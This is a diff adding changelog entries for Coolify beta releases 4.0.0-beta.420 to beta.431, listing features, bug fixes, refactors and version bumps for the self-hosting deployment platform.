+- *(databases)* Remove deprecated backup parameters from API documentation
+- *(databases)* Streamline backup queries to use team context
+- *(databases)* Update backup queries to use team-specific method
+- *(server)* Update dispatch messages and streamline data synchronization
+- *(cache)* Update team retrieval method in ClearsGlobalSearchCache trait
+- *(database-backup)* Move unique UUID generation for backup execution to database loop
+- *(cloud-commands)* Consolidate and enhance subscription management commands
+- *(toast-component)* Improve layout and icon handling in toast notifications
+- *(private-key-update)* Implement transaction for private key association and connection validation
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- *(claude)* Update testing guidelines and add note on Application::team relationship
+
+### 🎨 Styling
+
+- *(environment-variable)* Adjust SVG icon margin for improved layout in locked state
+- *(proxy)* Adjust padding in proxy configuration form for better visual alignment
+
+### ⚙️ Miscellaneous Tasks
+
+- Change order of runtime and buildtime
+- *(docker-compose)* Update soketi image version to 1.0.10 in production and Windows configurations
+- *(versions)* Update coolify version numbers to 4.0.0-beta.430 and 4.0.0-beta.431 in configuration files
+
+## [4.0.0-beta.428] - 2025-09-15
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.427] - 2025-09-15
+
+### 🚀 Features
+
+- Add Ente Photos service template
+- *(command)* Add option to sync GitHub releases to BunnyCDN and refactor sync logic
+- *(ui)* Display current version in settings dropdown and update UI accordingly
+- *(settings)* Add option to restrict PR deployments to repository members and contributors
+- *(command)* Implement SSH command retry logic with exponential backoff and logging for better error handling
+- *(ssh)* Add Sentry tracking for SSH retry events to enhance error monitoring
+- *(exceptions)* Introduce NonReportableException to handle known errors and update Handler for selective reporting
+- *(sudo-helper)* Add helper functions for command parsing and ownership management with sudo
+- *(dev-command)* Dispatch CheckHelperImageJob during instance initialization to enhance setup process
+- *(ssh-multiplexing)* Enhance multiplexed connection management with health checks and metadata caching
+- *(ssh-multiplexing)* Add connection age metadata handling to improve multiplexed connection management
+- *(database-backup)* Enhance error handling and output management in DatabaseBackupJob
+- *(application)* Display parsing version in development mode and clean up domain conflict modal markup
+- *(deployment)* Add SERVICE_NAME variables for service discovery
+- *(storages)* Add method to retrieve the first storage ID for improved stability in storage display
+- *(environment)* Add 'is_literal' attribute to environment variable for enhanced configuration options
+- *(pre-commit)* Automate generation of service templates and OpenAPI documentation during pre-commit hook
+- *(execute-container)* Enhance container command form with auto-connect feature for single container scenarios
+- *(environment)* Introduce 'is_buildtime_only' attribute to environment variables for improved build-time configuration
+- *(templates)* Add n8n service with PostgreSQL and worker support for enhanced workflow automation
+- *(user-management)* Implement user deletion command with phased resource and subscription cancellation, including dry run option
+- *(sentinel)* Add support for custom Docker images in StartSentinel and related methods
+- *(sentinel)* Add slide-over for viewing Sentinel logs and custom Docker image input for development
+- *(executions)* Add 'Load All' button to view all logs and implement loadAllLogs method for complete log retrieval
+- *(auth)* Enhance user login flow to handle team invitations, attaching users to invited teams upon first login and maintaining personal team logic for regular logins
+- *(laravel-boost)* Add Laravel Boost guidelines and MCP server configuration to enhance development experience
+- *(deployment)* Enhance deployment status reporting with detailed information on active deployments and team members
+- *(deployment)* Implement cancellation checks during deployment process to enhance user control and prevent unnecessary execution
+- *(deployment)* Introduce 'use_build_secrets' setting for enhanced security during Docker builds and update related logic in deployment process
+
+### 🐛 Bug Fixes
+
+- *(ui)* Transactional email settings link on members page (#6491)
+- *(api)* Add custom labels generation for applications with readonly container label setting enabled
+- *(ui)* Add cursor pointer to upgrade button for better user interaction
+- *(templates)* Update SECRET_KEY environment variable in getoutline.yaml to use SERVICE_HEX_32_OUTLINE
+- *(command)* Enhance database deletion command to support multiple database types
+- *(command)* Enhance cleanup process for stuck application previews by adding force delete for trashed records
+- *(user)* Ensure email attributes are stored in lowercase for consistency and prevent case-related issues
+- *(webhook)* Replace delete with forceDelete for application previews to ensure immediate removal
+- *(ssh)* Introduce SshRetryHandler and SshRetryable trait for enhanced SSH command retry logic with exponential backoff and error handling
+- Appwrite template - 500 errors, missing env vars etc.
+- *(LocalFileVolume)* Add missing directory creation command for workdir in saveStorageOnServer method
+- *(ScheduledTaskJob)* Replace generic Exception with NonReportableException for better error handling
+- *(web-routes)* Enhance backup response messages to clarify local and S3 availability
+- *(proxy)* Replace CheckConfiguration with GetProxyConfiguration and SaveConfiguration with SaveProxyConfiguration for improved clarity and consistency in proxy management
+- *(private-key)* Implement transaction handling and error verification for private key storage operations
+- *(deployment)* Add COOLIFY_* environment variables to Nixpacks build context for enhanced deployment configuration
+- *(application)* Add functionality to stop and remove Docker containers on server
+- *(templates)* Update 'compose' configuration for Appwrite service to enhance compatibility and streamline deployment
+- *(security)* Update contact email for reporting vulnerabilities to enhance privacy
+- *(feedback)* Update feedback email address to improve communication with users
+- *(security)* Update contact email for vulnerability reports to improve security communication
+- *(navbar)* Restrict subscription link visibility to admin users in cloud environment
+- *(docker)* Enhance container status aggregation for multi-container applications, including exclusion handling based on docker-compose configuration
+- *(application)* Improve watch paths handling by trimming and filtering empty paths to prevent unnecessary triggers
+- *(server)* Update server usability check to reflect actual Docker availability status
+- *(server)* Add build server check to disable Sentinel and update related logic
+- *(server)* Implement refreshServer method and update navbar event listener for improved server state management
+- *(deployment)* Prevent removal of running containers for pull request deployments in case of failure
+- *(docker)* Redirect stderr to stdout for container log retrieval to capture error messages
+- *(clone)* Update destinations method call to ensure correct retrieval of selected destination
+
+### 🚜 Refactor
+
+- *(jobs)* Pull github changelogs from cdn instead of github
+- *(command)* Streamline database deletion process to handle multiple database types and improve user experience
+- *(command)* Improve database collection logic for deletion command by using unique identifiers and enhancing user experience
+- *(command)* Remove InitChangelog command as it is no longer needed
+- *(command)* Streamline Init command by removing unnecessary options and enhancing error handling for various operations
+- *(webhook)* Replace direct forceDelete calls with DeleteResourceJob dispatch for application previews
+- *(command)* Replace forceDelete calls with DeleteResourceJob dispatch for all stuck resources in cleanup process
+- *(command)* Simplify SSH command retry logic by removing unnecessary logging and improving delay calculation
+- *(ssh)* Enhance error handling in SSH command execution and improve connection validation logging
+- *(backlog)* Remove outdated guidelines and project manager agent files to streamline task management documentation
+- *(error-handling)* Remove ray debugging statements from CheckUpdates and shared helper functions to clean up error reporting
+- *(file-transfer)* Replace base64 encoding with direct file transfer method across multiple database actions for improved clarity and efficiency
+- *(remoteProcess)* Remove debugging statement from transfer_file_to_server function to clean up code
+- *(dns-validation)* Rename DNS validation functions for consistency and clarity, and remove unused code
+- *(file-transfer)* Replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency
+- *(private-key)* Remove debugging statement from storeInFileSystem method for cleaner code
+- *(github-webhook)* Restructure application processing by grouping applications by server for improved deployment handling
+- *(deployment)* Enhance queuing logic to support concurrent deployments by including pull request ID in checks
+- *(remoteProcess)* Remove debugging statement from transfer_file_to_container function for cleaner code
+- *(deployment)* Streamline next deployment queuing logic by repositioning queue_next_deployment call
+- *(deployment)* Add validation for pull request existence in deployment process to enhance error handling
+- *(database)* Remove volume_configuration_dir and streamline configuration directory usage in MongoDB and PostgreSQL handlers
+- *(application-source)* Improve layout and accessibility of Git repository links in the application source view
+- *(models)* Remove 'is_readonly' attribute from multiple database models for consistency
+- *(webhook)* Remove Webhook model and related logic; add migrations to drop webhooks and kubernetes tables
+- *(clone)* Consolidate application cloning logic into a dedicated function for improved maintainability and readability
+- *(clone)* Integrate preview cloning logic directly into application cloning function for improved clarity and maintainability
+- *(application)* Enhance environment variable retrieval in configuration change check for improved accuracy
+- *(clone)* Enhance application cloning by separating production and preview environment variable handling
+- *(deployment)* Add environment variable copying logic to Docker build commands for pull requests
+- *(environment)* Standardize service name formatting by replacing '-' and '.' with '_' in environment variable keys
+- *(deployment)* Update environment file handling in Docker commands to use '/artifacts/' path and streamline variable management
+- *(openapi)* Remove 'is_build_time' attribute from environment variable definitions to streamline configuration
+- *(environment)* Remove 'is_build_time' attribute from environment variable handling across the application to simplify configuration
+- *(environment)* Streamline environment variable handling by replacing sorting methods with direct property access and enhancing query ordering for improved performance
+- *(stripe-jobs)* Comment out internal notification calls and add subscription status verification before sending failure notifications
+- *(deployment)* Streamline environment variable handling for dockercompose and improve sorting of runtime variables
+- *(remoteProcess)* Remove command log comments for file transfers to simplify code
+- *(remoteProcess)* Remove file transfer handling from remote_process and instant_remote_process functions to simplify code
+- *(deployment)* Update environment file paths in docker compose commands to use working directory for improved consistency
+- *(server)* Remove debugging ray call from validateConnection method for cleaner code
+- *(deployment)* Conditionally cleanup build secrets based on Docker BuildKit support and remove redundant calls for improved efficiency
+- *(deployment)* Remove redundant environment variable documentation from Dockerfile comments to streamline the deployment process
+- *(deployment)* Streamline Docker BuildKit detection and environment variable handling for enhanced security during application deployment
+- *(deployment)* Optimize BuildKit capabilities detection and remove unnecessary comments for cleaner deployment logic
+- *(deployment)* Rename method for modifying Dockerfile to improve clarity and streamline build secrets integration
+
+### 📚 Documentation
+
+- Update changelog
+- *(testing-patterns)* Add important note to always run tests inside the `coolify` container for clarity
+
+### ⚙️ Miscellaneous Tasks
+
+- Update coolify version to 4.0.0-beta.427 and nightly version to 4.0.0-beta.428
+- Use main value then fallback to service_ values
+- Remove webhooks table cleanup
+- *(cleanup)* Remove deprecated ServerCheck and related job classes to streamline codebase
+- *(versions)* Update sentinel version from 0.0.15 to 0.0.16 in versions.json files
+- *(constants)* Update realtime_version from 1.0.10 to 1.0.11
+- *(versions)* Increment coolify version to 4.0.0-beta.428 and update realtime_version to 1.0.10
+- *(docker)* Add a blank line for improved readability in Dockerfile
+- *(versions)* Bump coolify version to 4.0.0-beta.429 and nightly version to 4.0.0-beta.430
+
+## [4.0.0-beta.426] - 2025-08-28
+
+### 🚜 Refactor
+
+- *(policy)* Simplify ServiceDatabasePolicy methods to always return true and add manageBackups method
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- Update coolify version to 4.0.0-beta.426 and nightly version to 4.0.0-beta.427
+
+## [4.0.0-beta.425] - 2025-08-28
+
+### 🚀 Features
+
+- *(domains)* Implement domain conflict detection and user confirmation modal across application components
+- *(domains)* Add force_domain_override option and enhance domain conflict detection responses
+
+### 🐛 Bug Fixes
+
+- *(previews)* Simplify FQDN generation logic by removing unnecessary empty check
+- *(templates)* Update Matrix service compose configuration for improved compatibility and clarity
+
+### 🚜 Refactor
+
+- *(urls)* Replace generateFqdn with generateUrl for consistent URL generation across applications
+- *(domains)* Rename check_domain_usage to checkDomainUsage and update references across the application
+- *(auth)* Simplify access control logic in CanAccessTerminal and ServerPolicy by allowing all users to perform actions
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- Update coolify version to 4.0.0-beta.425 and nightly version to 4.0.0-beta.426
+
+## [4.0.0-beta.424] - 2025-08-27
+
+### 💼 Other
+
+- Allow deploy from container image hash
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+## [4.0.0-beta.423] - 2025-08-27
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.422] - 2025-08-27
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.421] - 2025-08-26
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.420.9] - 2025-08-26
+
+### 🚀 Features
+
+- *(policies)* Add EnvironmentVariablePolicy for managing environment variables ( it was missing )
+
+### 🐛 Bug Fixes
+
+- *(backups)* S3 backup upload is failing
+- *(backups)* Rollback helper update for now
+- *(parsers)* Replace hyphens with underscores in service names for consistency. this allows to properly parse custom domains in docker compose based applications
+- *(parsers)* Implement parseDockerVolumeString function to handle various Docker volume formats and modes, including environment variables and Windows paths. Add unit tests for comprehensive coverage.
+- *(git)* Submodule update command uses an unsupported option (#6454)
+- *(service)* Swap URL for FQDN on matrix template (#6466)
+- *(parsers)* Enhance volume string handling by preserving mode in application and service parsers. Update related unit tests for validation.
+- *(docker)* Update parser version in FQDN generation for service-specific URLs
+- *(parsers)* Do not modify service names, only for getting fqdns and related envs
+- *(compose)* Temporary allow to edit volumes in apps (compose based) and services
+
+### 🚜 Refactor
+
+- *(git)* Improve submodule cloning
+- *(parsers)* Remove unnecessary hyphen-to-underscore replacement for service names in serviceParser function
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(core)* Update version
+- *(core)* Update version
+- *(versions)* Update coolify version to 4.0.0-beta.421 and nightly version to 4.0.0-beta.422
+- Update version
+- Update development node version
+- Update coolify version to 4.0.0-beta.423 and nightly version to 4.0.0-beta.424
+- Update coolify version to 4.0.0-beta.424 and nightly version to 4.0.0-beta.425
+
+## [4.0.0-beta.420.8] - 2025-08-26
+
+### 🚜 Refactor
+
+- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.420.7] - 2025-08-26
+
+### 🚀 Features
+
+- *(service)* Add TriliumNext service (#5970)
+- *(service)* Add Matrix service (#6029)
+- *(service)* Add GitHub Action runner service (#6209)
+- *(terminal)* Dispatch focus event for terminal after connection and enhance focus handling in JavaScript
+- *(lang)* Add Polish language & improve forgot_password translation (#6306)
+- *(service)* Update Authentik template (#6264)
+- *(service)* Add sequin template (#6105)
+- *(service)* Add pi-hole template (#6020)
+- *(services)* Add Chroma service (#6201)
+- *(service)* Add OpenPanel template (#5310)
+- *(service)* Add librechat template (#5654)
+- *(service)* Add Homebox service (#6116)
+- *(service)* Add pterodactyl & wings services (#5537)
+- *(service)* Add Bluesky PDS template (#6302)
+- *(input)* Add autofocus attribute to input component for improved accessibility
+- *(core)* Finally fqdn is fqdn and url is url. haha
+- *(user)* Add changelog read tracking and unread count method
+- *(templates)* Add new service templates and update existing compose files for various applications
+- *(changelog)* Implement automated changelog fetching from GitHub and enhance changelog read tracking
+- *(drizzle-gateway)* Add new drizzle-gateway service with configuration and logo
+- *(drizzle-gateway)* Enhance service configuration by adding Master Password field and updating compose file path
+- *(templates)* Add new service templates for Homebox, LibreChat, Pterodactyl, and Wings with corresponding configurations and logos
+- *(templates)* Add Bluesky PDS service template and update compose file with new environment variable
+- *(readme)* Add CubePath as a big sponsor and include new small sponsors with logos
+- *(api)* Add create_environment endpoint to ProjectController for environment creation in projects
+- *(api)* Add endpoints for managing environments in projects, including listing, creating, and deleting environments
+- *(backup)* Add disable local backup option and related logic for S3 uploads
+- *(dev patches)* Add functionality to send test email with patch data in development mode
+- *(templates)* Added category per service
+- *(email)* Implement email change request and verification process
+- Generate category for services
+- *(service)* Add elasticsearch template (#6300)
+- *(sanitization)* Integrate DOMPurify for HTML sanitization across components
+- *(cleanup)* Add command for sanitizing name fields across models
+- *(sanitization)* Enhance HTML sanitization with improved DOMPurify configuration
+- *(validation)* Centralize validation patterns for names and descriptions
+- *(git-settings)* Add support for shallow cloning in application settings
+- *(auth)* Implement authorization checks for server updates across multiple components
+- *(auth)* Implement authorization for PrivateKey management
+- *(auth)* Implement authorization for Docker and server management
+- *(validation)* Add custom validation rules for Git repository URLs and branches
+- *(security)* Add authorization checks for package updates in Livewire components
+- *(auth)* Implement authorization checks for application management
+- *(auth)* Enhance API error handling for authorization exceptions
+- *(auth)* Add comprehensive authorization checks for all kind of resource creations
+- *(auth)* Implement authorization checks for database management
+- *(auth)* Refine authorization checks for S3 storage and service management
+- *(auth)* Implement comprehensive authorization checks across API controllers
+- *(auth)* Introduce resource creation authorization middleware and policies for enhanced access control
+- *(auth)* Add middleware for resource creation authorization
+- *(auth)* Enhance authorization checks in Livewire components for resource management
+- *(validation)* Add ValidIpOrCidr rule for validating IP addresses and CIDR notations; update API access settings UI and add comprehensive tests
+- *(docs)* Update architecture and development guidelines; enhance form components with built-in authorization system and improve routing documentation
+- *(docs)* Expand authorization documentation for custom Alpine.js components; include manual protection patterns and implementation guidelines
+- *(sentinel)* Implement SentinelRestarted event and update Livewire components to handle server restart notifications
+- *(api)* Enhance IP access control in middleware and settings; support CIDR notation and special case for 0.0.0.0 to allow all IPs
+- *(acl)* Change views/backend code to able to use proper ACL's later on. Currently it is not enabled.
+- *(docs)* Add Backlog.md guidelines and project manager backlog agent; enhance CLAUDE.md with new links for task management
+- *(docs)* Add tasks for implementing Docker build caching and optimizing staging builds; include detailed acceptance criteria and implementation plans
+- *(docker)* Implement Docker cleanup processing in ScheduledJobManager; refactor server task scheduling to streamline cleanup job dispatching
+- *(docs)* Expand Backlog.md guidelines with comprehensive usage instructions, CLI commands, and best practices for task management to enhance project organization and collaboration
+
+### 🐛 Bug Fixes
+
+- *(service)* Triliumnext platform and link
+- *(application)* Update service environment variables when generating domain for Docker Compose
+- *(application)* Add option to suppress toast notifications when loading compose file
+- *(git)* Tracking issue due to case sensitivity
+- *(git)* Tracking issue due to case sensitivity
+- *(git)* Tracking issue due to case sensitivity
+- *(ui)* Delete button width on small screens (#6308)
+- *(service)* Matrix entrypoint
+- *(ui)* Add flex-wrap to prevent overflow on small screens (#6307)
+- *(docker)* Volumes get delete when stopping a service if `Delete Unused Volumes` is activated (#6317)
+- *(docker)* Cleanup always running on deletion
+- *(proxy)* Remove hardcoded port 80/443 checks (#6275)
+- *(service)* Update healthcheck of penpot backend container (#6272)
+- *(api)* Duplicated logs in application endpoint (#6292)
+- *(service)* Documenso signees always pending (#6334)
+- *(api)* Update service upsert to retain name and description values if not set
+- *(database)* Custom postgres configs with SSL (#6352)
+- *(policy)* Update delete method to check for admin status in S3StoragePolicy
+- *(container)* Sort containers alphabetically by name in ExecuteContainerCommand and update filtering in Terminal Index
+- *(application)* Streamline environment variable updates for Docker Compose services and enhance FQDN generation logic
+- *(constants)* Update 'Change Log' to 'Changelog' in settings dropdown
+- *(constants)* Update coolify version to 4.0.0-beta.420.7
+- *(parsers)* Clarify comments and update variable checks for FQDN and URL handling
+- *(terminal)* Update text color for terminal availability message and improve readability
+- *(drizzle-gateway)* Remove healthcheck from drizzle-gateway compose file and update service template
+- *(templates)* Should generate old SERVICE_FQDN service templates as well
+- *(constants)* Update official service template URL to point to the v4.x branch for accuracy
+- *(git)* Use exact refspec in ls-remote to avoid matching similarly named branches (e.g., changeset-release/main). Use refs/heads/<branch> or provider-specific PR refs.
+- *(ApplicationPreview)* Change null check to empty check for fqdn in generate_preview_fqdn method
+- *(email notifications)* Enhance EmailChannel to validate team membership for recipients and handle errors gracefully
+- *(service api)* Separate create and update service functionalities
+- *(templates)* Added a category tag for the docs service filter
+- *(application)* Clear Docker Compose specific data when switching away from dockercompose
+- *(database)* Conditionally set started_at only if the database is running
+- *(ui)* Handle null values in postgres metrics (#6388)
+- Disable env sorting by default
+- *(proxy)* Filter host network from default proxy (#6383)
+- *(modal)* Enhance confirmation text handling
+- *(notification)* Update unread count display and improve HTML rendering
+- *(select)* Remove unnecessary sanitization for logo rendering
+- *(tags)* Update tag display to limit name length and adjust styling
+- *(init)* Improve error handling for deployment and template pulling processes
+- *(settings-dropdown)* Adjust unread count badge size and display logic for better consistency
+- *(sanitization)* Enhance DOMPurify hook to remove Alpine.js directives for improved XSS protection
+- *(servercheck)* Properly check server statuses with and without Sentinel
+- *(errors)* Update error pages to provide navigation options
+- *(github-deploy-key)* Update background color for selected private keys in deployment key selection UI
+- *(auth)* Enhance authorization checks in application management
+
+### 💼 Other
+
+- *(settings-dropdown)* Add icons to buttons for improved UI in settings dropdown
+- *(ui)* Introduce task for simplifying resource operations UI by replacing boxes with dropdown selections to enhance user experience and streamline interactions
+
+### 🚜 Refactor
+
+- *(jobs)* Remove logging for ScheduledJobManager and ServerResourceManager start and completion
+- *(services)* Update validation rules to be optional
+- *(service)* Improve langfuse
+- *(service)* Improve openpanel template
+- *(service)* Improve librechat
+- *(public-git-repository)* Enhance form structure and add autofocus to repository URL input
+- *(public-git-repository)* Remove commented-out code for cleaner template
+- *(templates)* Update service template file handling to use dynamic file name from constants
+- *(parsers)* Streamline domain handling in applicationParser and improve DNS validation logic
+- *(templates)* Replace SERVICE_FQDN variables with SERVICE_URL in compose files for consistency
+- *(links)* Replace inline SVGs with reusable external link component for consistency and improved maintainability
+- *(previews)* Improve layout and add deployment/application logs links for previews
+- *(docker compose)* Remove deprecated newParser function and associated test file to streamline codebase
+- *(shared helpers)* Remove unused parseServiceVolumes function to clean up codebase
+- *(parsers)* Update volume parsing logic to use beforeLast and afterLast for improved accuracy
+- *(validation)* Implement centralized validation patterns across components
+- *(jobs)* Rename job classes to indicate deprecation status
+- Update check frequency logic for cloud and self-hosted environments; streamline server task scheduling and timezone handling
+- *(policies)* Remove Response type hint from update methods in ApplicationPreviewPolicy and DatabasePolicy for improved flexibility
+
+### 📚 Documentation
+
+- *(claude)* Clarify that artisan commands should only be run inside the "coolify" container during development
+- Add AGENTS.md for project guidance and development instructions
+- Update changelog
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(service)* Improve matrix service
+- *(service)* Format runner service
+- *(service)* Improve sequin
+- *(service)* Add `NOT_SECURED` env to Postiz (#6243)
+- *(service)* Improve evolution-api environment variables (#6283)
+- *(service)* Update Langfuse template to v3 (#6301)
+- *(core)* Remove unused argument
+- *(deletion)* Rename isDeleteOperation to deleteConnectedNetworks
+- *(docker)* Remove unused arguments on StopService
+- *(service)* Homebox formatting
+- Clarify usage of custom redis configuration (#6321)
+- *(changelogs)* Add .gitignore for changelogs directory and remove outdated changelog files for May, June, and July 2025
+- *(service)* Change affine images (#6366)
+- Elasticsearch URL, fromatting and add category
+- Update service-templates json files
+- *(docs)* Remove AGENTS.md file; enhance CLAUDE.md with detailed form authorization patterns and service configuration examples
+- *(cleanup)* Remove unused GitLab view files for change, new, and show pages
+- *(workflows)* Add backlog directory to build triggers for production and staging workflows
+- *(config)* Disable auto_commit in backlog configuration to prevent automatic commits
+- *(versions)* Update coolify version to 4.0.0-beta.420.8 and nightly version to 4.0.0-beta.420.9 in versions.json and constants.php
+- *(docker)* Update soketi image version to 1.0.10 in production and Windows configurations
+
+### ◀️ Revert
+
+- *(parser)* Enhance FQDN generation logic for services and applications
+
+## [4.0.0-beta.420.6] - 2025-07-18
+
+### 🚀 Features
+
+- *(service)* Enable password protection for the Wireguard Ul
+- *(queues)* Improve Horizon config to reduce CPU and RAM usage (#6212)
+- *(service)* Add Gowa service (#6164)
+- *(container)* Add updatedSelectedContainer method to connect to non-default containers and update wire:model for improved reactivity
+- *(application)* Implement environment variable updates for Docker Compose applications, including creation, updating, and deletion of SERVICE_FQDN and SERVICE_URL variables
+
+### 🐛 Bug Fixes
+
+- *(installer)* Public IPv4 link does not work
+- *(composer)* Version constraint of prompts
+- *(service)* Budibase secret keys (#6205)
+- *(service)* Wg-easy host should be just the FQDN
+- *(ui)* Search box overlaps the sidebar navigation (#6176)
+- *(webhooks)* Exclude webhook routes from CSRF protection (#6200)
+- *(services)* Update environment variable naming convention to use underscores instead of dashes for SERVICE_FQDN and SERVICE_URL
+
+### 🚜 Refactor
+
+- *(service)* Improve gowa
+- *(previews)* Streamline preview domain generation logic in ApplicationDeploymentJob for improved clarity and maintainability
+- *(services)* Simplify environment variable updates by using updateOrCreate and add cleanup for removed FQDNs
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(service)* Update Nitropage template (#6181)
+- *(versions)* Update all version
+- *(bump)* Update composer deps
+- *(version)* Bump Coolify version to 4.0.0-beta.420.6
+
+## [4.0.0-beta.420.4] - 2025-07-08
+
+### 🚀 Features
+
+- *(scheduling)* Add command to manually run scheduled database backups and tasks with options for chunking, delays, and dry runs
+- *(scheduling)* Add frequency filter option for manual execution of scheduled jobs
+- *(logging)* Implement scheduled logs command and enhance backup/task scheduling with cron checks
+- *(logging)* Add frequency filters for scheduled logs command to support hourly, daily, weekly, and monthly job views
+- *(scheduling)* Introduce ScheduledJobManager and ServerResourceManager for enhanced job scheduling and resource management
+- *(previews)* Implement soft delete and cleanup for ApplicationPreview, enhancing resource management in DeleteResourceJob
+
+### 🐛 Bug Fixes
+
+- *(service)* Update Postiz compose configuration for improved server availability
+- *(install.sh)* Use IPV4_PUBLIC_IP variable in output instead of repeated curl
+- *(env)* Generate literal env variables better
+- *(deployment)* Update x-data initialization in deployment view for improved functionality
+- *(deployment)* Enhance COOLIFY_URL and COOLIFY_FQDN variable generation for better compatibility
+- *(deployment)* Improve docker-compose domain handling and environment variable generation
+- *(deployment)* Refactor domain parsing and environment variable generation using Spatie URL library
+- *(deployment)* Update COOLIFY_URL and COOLIFY_FQDN generation to use Spatie URL library for improved accuracy
+- *(scheduling)* Change redis cleanup command frequency from hourly to weekly for better resource management
+- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.5 and 4.0.0-beta.420.6
+- *(database)* Ensure internal port defaults correctly for unsupported database types in StartDatabaseProxy
+- *(versions)* Update coolify version numbers in versions.json and constants.php to 4.0.0-beta.420.6 and 4.0.0-beta.420.7
+- *(scheduling)* Remove unnecessary padding from scheduled task form layout for improved UI consistency
+- *(horizon)* Update queue configuration to use environment variable for dynamic queue management
+- *(horizon)* Add silenced jobs
+- *(application)* Sanitize service names for HTML form binding and ensure original names are stored in docker compose domains
+- *(previews)* Adjust padding for rate limit message in application previews
+- *(previews)* Order application previews by pull request ID in descending order
+- *(previews)* Add unique wire keys for preview containers and services based on pull request ID
+- *(previews)* Enhance domain generation logic for application previews, ensuring unique domains are created when none are set
+- *(previews)* Refine preview domain generation for Docker Compose applications, ensuring correct method usage based on build pack type
+- *(ui)* Typo on proxy request handler tooltip (#6192)
+- *(backups)* Large database backups are not working (#6217)
+- *(backups)* Error message if there is no exception
+
+### 🚜 Refactor
+
+- *(previews)* Streamline preview URL generation by utilizing application method
+- *(application)* Adjust layout and spacing in general application view for improved UI
+- *(postgresql)* Improve layout and spacing in SSL and Proxy configuration sections for better UI consistency
+- *(scheduling)* Replace deprecated job checks with ScheduledJobManager and ServerResourceManager for improved scheduling efficiency
+- *(previews)* Move preview domain generation logic to ApplicationPreview model for better encapsulation and consistency across webhook handlers
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+## [4.0.0-beta.420.3] - 2025-07-03
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.420.2] - 2025-07-03
+
+### 🚀 Features
+
+- *(template)* Added excalidraw (#6095)
+- *(template)* Add excalidraw service configuration with documentation and tags
+
+### 🐛 Bug Fixes
+
+- *(terminal)* Ensure shell execution only uses valid shell if available in terminal command
+- *(ui)* Improve destination selection description for clarity in resource segregation
+- *(jobs)* Update middleware to use expireAfter for WithoutOverlapping in multiple job classes
+- Removing eager loading (#6071)
+- *(template)* Adjust health check interval and retries for excalidraw service
+- *(ui)* Env variable settings wrong order
+- *(service)* Ensure configuration changes are properly tracked and dispatched
+
+### 🚜 Refactor
+
+- *(ui)* Enhance project cloning interface with improved table layout for server and resource selection
+- *(terminal)* Simplify command construction for SSH execution
+- *(settings)* Streamline instance admin checks and initialization of settings in Livewire components
+- *(policy)* Optimize team membership checks in S3StoragePolicy
+- *(popup)* Improve styling and structure of the small popup component
+- *(shared)* Enhance FQDN generation logic for services in newParser function
+- *(redis)* Enhance CleanupRedis command with dry-run option and improved key deletion logic
+- *(init)* Standardize method naming conventions and improve command structure in Init.php
+- *(shared)* Improve error handling in getTopLevelNetworks function to return network name on invalid docker-compose.yml
+- *(database)* Improve error handling for unsupported database types in StartDatabaseProxy
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively
+- *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively
+
+## [4.0.0-beta.420.1] - 2025-06-26
+
+### 🐛 Bug Fixes
+
+- *(server)* Prepend 'mux_' to UUID in muxFilename method for consistent naming
+- *(ui)* Enhance terminal access messaging to clarify server functionality and terminal status
+- *(database)* Proxy ssl port if ssl is enabled
+
+### 🚜 Refactor
+
+- *(ui)* Separate views for instance settings to separate paths to make it cleaner
+- *(ui)* Remove unnecessary step3ButtonText attributes from modal confirmation components for cleaner code
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files
+
+## [4.0.0-beta.420] - 2025-06-26
+
+### 🚀 Features
+
+- *(service)* Add Miniflux service (#5843)
+- *(service)* Add Pingvin Share service (#5969)
+- *(auth)* Add Discord OAuth Provider (#5552)
+- *(auth)* Add Clerk OAuth Provider (#5553)
+- *(auth)* Add Zitadel OAuth Provider (#5490)
+- *(core)* Set custom API rate limit (#5984)
+- *(service)* Enhance service status handling and UI updates
+- *(cleanup)* Add functionality to delete teams with no members or servers in CleanupStuckedResources command
+- *(ui)* Add heart icon and enhance popup messaging for sponsorship support
+- *(settings)* Add sponsorship popup toggle and corresponding database migration
+- *(migrations)* Add optimized indexes to activity_log for improved query performance
+
+### 🐛 Bug Fixes
+
+- *(service)* Audiobookshelf healthcheck command (#5993)
+- *(service)* Downgrade Evolution API phone version (#5977)
+- *(service)* Pingvinshare-with-clamav
+- *(ssh)* Scp requires square brackets for ipv6 (#6001)
+- *(github)* Changing github app breaks the webhook. it does not anymore
+- *(parser)* Improve FQDN generation and update environment variable handling
+- *(ui)* Enhance status refresh buttons with loading indicators
+- *(ui)* Update confirmation button text for stopping database and service
+- *(routes)* Update middleware for deploy route to use 'api.ability:deploy'
+- *(ui)* Refine API token creation form and update helper text for clarity
+- *(ui)* Adjust layout of deployments section for improved alignment
+- *(ui)* Adjust project grid layout and refine server border styling for better visibility
+- *(ui)* Update border styling for consistency across components and enhance loading indicators
+- *(ui)* Add padding to section headers in settings views for improved spacing
